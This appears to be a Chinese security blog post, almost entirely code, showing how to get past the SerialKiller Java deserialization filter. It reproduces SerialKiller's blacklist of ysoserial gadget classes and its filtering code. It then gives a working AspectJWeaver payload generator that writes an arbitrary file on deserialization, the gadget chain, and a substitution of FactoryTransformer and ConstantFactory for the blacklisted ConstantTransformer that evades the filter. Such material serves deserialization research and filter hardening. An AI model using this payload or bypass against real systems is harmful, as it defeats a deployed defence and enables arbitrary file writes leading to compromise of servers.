原创 | AspectJWeaver利用链绕过serialKiller

 <?xml version="1.0" encoding="UTF-8"?> <!-- serialkiller.conf --> <config>   <refresh>6000</refresh>   <mode>     <!-- set to 'false' for blocking mode -->     <profiling>false</profiling>   </mode>   <blacklist>     <regexps>         <!-- ysoserial's BeanShell1 payload  -->         <regexp>bsh.XThis$</regexp>         <regexp>bsh.Interpreter$</regexp>         <!-- ysoserial's C3P0 payload  -->         <regexp>com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase$</regexp>         <!-- ysoserial's CommonsBeanutils1 payload  -->         <regexp>org.apache.commons.beanutils.BeanComparator$</regexp>         <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->         <regexp>org.apache.commons.collections.Transformer$</regexp>         <regexp>org.apache.commons.collections.functors.InvokerTransformer$</regexp>         <regexp>org.apache.commons.collections.functors.ChainedTransformer$</regexp>         <regexp>org.apache.commons.collections.functors.ConstantTransformer$</regexp>         <regexp>org.apache.commons.collections.functors.InstantiateTransformer$</regexp>         <!-- ysoserial's CommonsCollections2,4 payload  -->         <regexp>org.apache.commons.collections4.functors.InvokerTransformer$</regexp>         <regexp>org.apache.commons.collections4.functors.ChainedTransformer$</regexp>         <regexp>org.apache.commons.collections4.functors.ConstantTransformer$</regexp>         <regexp>org.apache.commons.collections4.functors.InstantiateTransformer$</regexp>         <regexp>org.apache.commons.collections4.comparators.TransformingComparator$</regexp>         <!-- ysoserial's FileUpload1,Wicket1 payload  -->         <regexp>org.apache.commons.fileupload.disk.DiskFileItem$</regexp>         <regexp>org.apache.wicket.util.upload.DiskFileItem$</regexp>         <!-- ysoserial's Groovy payload  -->         <regexp>org.codehaus.groovy.runtime.ConvertedClosure$</regexp>         <regexp>org.codehaus.groovy.runtime.MethodClosure$</regexp>         <!-- ysoserial's Hibernate1,2 payload  -->         <regexp>org.hibernate.engine.spi.TypedValue$</regexp>         <regexp>org.hibernate.tuple.component.AbstractComponentTuplizer$</regexp>         <regexp>org.hibernate.tuple.component.PojoComponentTuplizer$</regexp>         <regexp>org.hibernate.type.AbstractType$</regexp>         <regexp>org.hibernate.type.ComponentType$</regexp>         <regexp>org.hibernate.type.Type$</regexp>         <regexp>com.sun.rowset.JdbcRowSetImpl$</regexp>         <!-- ysoserial's JBossInterceptors1, JavassistWeld1 payload -->         <regexp>org.jboss.(weld.)?interceptor.builder.InterceptionModelBuilder$</regexp>         <regexp>org.jboss.(weld.)?interceptor.builder.MethodReference$</regexp>         <regexp>org.jboss.(weld.)?interceptor.proxy.DefaultInvocationContextFactory$</regexp>         <regexp>org.jboss.(weld.)?interceptor.proxy.InterceptorMethodHandler$</regexp>         <regexp>org.jboss.(weld.)?interceptor.reader.ClassMetadataInterceptorReference$</regexp>         <regexp>org.jboss.(weld.)?interceptor.reader.DefaultMethodMetadata$</regexp>         <regexp>org.jboss.(weld.)?interceptor.reader.ReflectiveClassMetadata$</regexp>         <regexp>org.jboss.(weld.)?interceptor.reader.SimpleInterceptorMetadata$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.instance.InterceptorInstantiator$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.metadata.InterceptorReference$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.metadata.MethodMetadata$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.model.InterceptionModel$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.model.InterceptionType$</regexp>         <!-- ysoserial's JRMPClient payload  -->         <regexp>java.rmi.registry.Registry$</regexp>         <regexp>java.rmi.server.ObjID$</regexp>         <regexp>java.rmi.server.RemoteObjectInvocationHandler$</regexp>         <!-- ysoserial's JSON1 payload  -->         <regexp>net.sf.json.JSONObject$</regexp>         <!-- ysoserial's Jdk7u21 payload -->         <regexp>javax.xml.transform.Templates$</regexp>         <!-- ysoserial's Jython1 payload -->         <regexp>org.python.core.PyObject$</regexp>         <regexp>org.python.core.PyBytecode$</regexp>         <regexp>org.python.core.PyFunction$</regexp>         <!-- ysoserial's MozillaRhino1 payload -->         <regexp>org.mozilla.javascript..*$</regexp>         <!-- ysoserial's Myfaces1,2 payload  -->         <regexp>org.apache.myfaces.context.servlet.FacesContextImpl$</regexp>         <regexp>org.apache.myfaces.context.servlet.FacesContextImplBase$</regexp>         <regexp>org.apache.myfaces.el.CompositeELResolver$</regexp>         <regexp>org.apache.myfaces.el.unified.FacesELContext$</regexp>         <regexp>org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression$</regexp>         <!-- ysoserial's ROME payload  -->         <regexp>com.sun.syndication.feed.impl.ObjectBean$</regexp>         <!-- ysoserial's Spring1,2 payload  -->         <regexp>org.springframework.beans.factory.ObjectFactory$</regexp>         <regexp>org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider$</regexp>         <regexp>org.springframework.aop.framework.AdvisedSupport$</regexp>         <regexp>org.springframework.aop.target.SingletonTargetSource$</regexp>         <regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>         <regexp>org.springframework.core.SerializableTypeWrapper$TypeProvider$</regexp>         <!-- other trigger gadgets or payloads -->         <regexp>java.util.PriorityQueue$</regexp>         <regexp>java.lang.reflect.Proxy$</regexp>         <regexp>javax.management.MBeanServerInvocationHandler$</regexp>         <regexp>javax.management.openmbean.CompositeDataInvocationHandler$</regexp>         <regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>         <regexp>java.beans.EventHandler$</regexp>         <regexp>java.util.Comparator$</regexp>         <regexp>org.reflections.Reflections$</regexp>     </regexps>   </blacklist>   <whitelist>     <regexps>         <regexp>.*</regexp>     </regexps>   </whitelist> </config>

 ObjectInputStream ois = new SerialKiller(is, "serialkiller.conf"); String msg = (String) ois.readObject();

    @Override     protected Class<?> resolveClass(final ObjectStreamClass serialInput) throws IOException, ClassNotFoundException {         config.reloadIfNeeded();
         // Enforce SerialKiller's blacklist         for (Pattern blackPattern : config.blacklist()) {             Matcher blackMatcher = blackPattern.matcher(serialInput.getName());
             if (blackMatcher.find()) {                 if (profiling) {                     // Reporting mode                     LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName()));                 } else {                     // Blocking mode                     LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", new Object[] {blackPattern.pattern(), serialInput.getName()}));                     throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (blacklist)");                 }             }         }
         // Enforce SerialKiller's whitelist         boolean safeClass = false;
         for (Pattern whitePattern : config.whitelist()) {             Matcher whiteMatcher = whitePattern.matcher(serialInput.getName());
             if (whiteMatcher.find()) {                 safeClass = true;
                 if (profiling) {                     // Reporting mode                     LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName()));                 }
                 // We have found a whitelist match, no need to continue                 break;             }         }
         if (!safeClass && !profiling) {             // Blocking mode             LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName()));             throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (non-whitelist)");         }
         return super.resolveClass(serialInput);     }

 public class OldAspectJWeaver implements ObjectPayload<Serializable> {
     public Serializable getObject(final String command) throws Exception {         int sep = command.lastIndexOf(';');         if ( sep < 0 ) {             throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");         }         String[] parts = command.split(";");         String filename = parts[0];         byte[] content = Base64.decodeBase64(parts[1]);
         Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");         Object simpleCache = ctor.newInstance(".", 12);         Transformer ct = new ConstantTransformer(content);         Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);         TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);         HashSet map = new HashSet(1);         map.add("foo");         Field f = null;         try {             f = HashSet.class.getDeclaredField("map");         } catch (NoSuchFieldException e) {             f = HashSet.class.getDeclaredField("backingMap");         }
         Reflections.setAccessible(f);         HashMap innimpl = (HashMap) f.get(map);
         Field f2 = null;         try {             f2 = HashMap.class.getDeclaredField("table");         } catch (NoSuchFieldException e) {             f2 = HashMap.class.getDeclaredField("elementData");         }
         Reflections.setAccessible(f2);         Object[] array = (Object[]) f2.get(innimpl);
         Object node = array[0];         if(node == null){             node = array[1];         }
         Field keyField = null;         try{             keyField = node.getClass().getDeclaredField("key");         }catch(Exception e){             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");         }
         Reflections.setAccessible(keyField);         keyField.set(node, entry);
         return map;
     }
     public static void main(String[] args) throws Exception {         args = new String[]{"ahi.txt;YWhpaGloaQ=="};         PayloadRunner.run(OldAspectJWeaver.class, args);     } }

 Gadget chain: HashSet.readObject()     HashMap.put()         HashMap.hash()             TiedMapEntry.hashCode()                 TiedMapEntry.getValue()                     LazyMap.get()                         SimpleCache$StorableCachingMap.put()                             SimpleCache$StorableCachingMap.writeToPath()                                 FileOutputStream.write()

 public ConstantTransformer(Object constantToReturn) {         this.iConstant = constantToReturn;     }
 public Object transform(Object input) {     return this.iConstant; }

     private final Factory iFactory;     public FactoryTransformer(Factory factory) {         this.iFactory = factory;     }
     public Object transform(Object input) {         return this.iFactory.create();     }

 public ConstantFactory(Object constantToReturn) {         this.iConstant = constantToReturn;     }
     public Object create() {         return this.iConstant;     }

 Factory ft =  new ConstantFactory(content); Transformer ct =  new FactoryTransformer(ft);